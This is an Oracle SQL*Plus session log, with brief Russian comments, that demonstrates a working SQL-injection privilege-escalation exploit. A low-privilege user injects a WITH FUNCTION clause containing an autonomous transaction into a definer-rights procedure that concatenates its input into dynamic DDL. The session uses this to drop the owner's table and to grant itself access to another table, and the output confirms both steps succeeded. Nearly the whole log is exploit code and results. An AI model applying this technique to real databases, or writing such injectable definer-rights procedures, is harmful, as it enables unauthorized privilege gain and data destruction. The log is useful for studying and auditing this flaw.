SQL> sho user;
USER is "XTENDER"
SQL> create user test identified by test;

User created.

SQL> grant connect to test;

Grant succeeded.

SQL> create table my_dual as select * from dual;

Table created.

-- дадим грант на my_dual
SQL> grant read on my_dual to test;

Grant succeeded.

-- а на my_dual2 не дадим:
SQL> create table my_dual2 as select * from dual;

Table created.

SQL> CREATE PROCEDURE my_cre_tab(p_cmd_end IN VARCHAR2) AUTHID DEFINER
  2  IS
  3  BEGIN
  4     EXECUTE IMMEDIATE ('CREATE TABLE ' || p_cmd_end);
  5  END;
  6  /

Procedure created.

SQL> grant EXECUTE on my_cre_tab to test;

Grant succeeded.

SQL> set echo off
Connected.

======================================================================
=======  Connected to  TEST@()
=======  SID
=======  SERIAL#
=======  SPID
=======  DB_VERSION     /
======================================================================
SQL> begin
  2    xtender.my_cre_tab(q'[
  3      yay as
  4      with
  5        function fff(cmd in varchar2) return varchar2 as
  6          procedure p_exec(x varchar2) is
  7            pragma autonomous_transaction;
  8          begin
  9            execute immediate x;
 10          end;
 11        begin
 12          p_exec(cmd);
 13          return 'ok';
 14        exception when others then
 15          return sqlerrm;
 16        end;
 17      select cast(fff('drop table my_dual') as varchar2(100)) as dummy from dual
 18      union all
 19      select cast(fff('grant all on my_dual2 to test') as varchar2(100)) as dummy from dual
 20    ]');
 21  end;
 22  /

PL/SQL procedure successfully completed.

SQL> select * from xtender.my_dual;
select * from xtender.my_dual
                      *
ERROR at line 1:
ORA-00942: table or view does not exist

-- таблица my_dual успешно дропнута

SQL> select * from xtender.my_dual2;

D
-
X

1 row selected.

-- грант на my_dual2 успешно получен.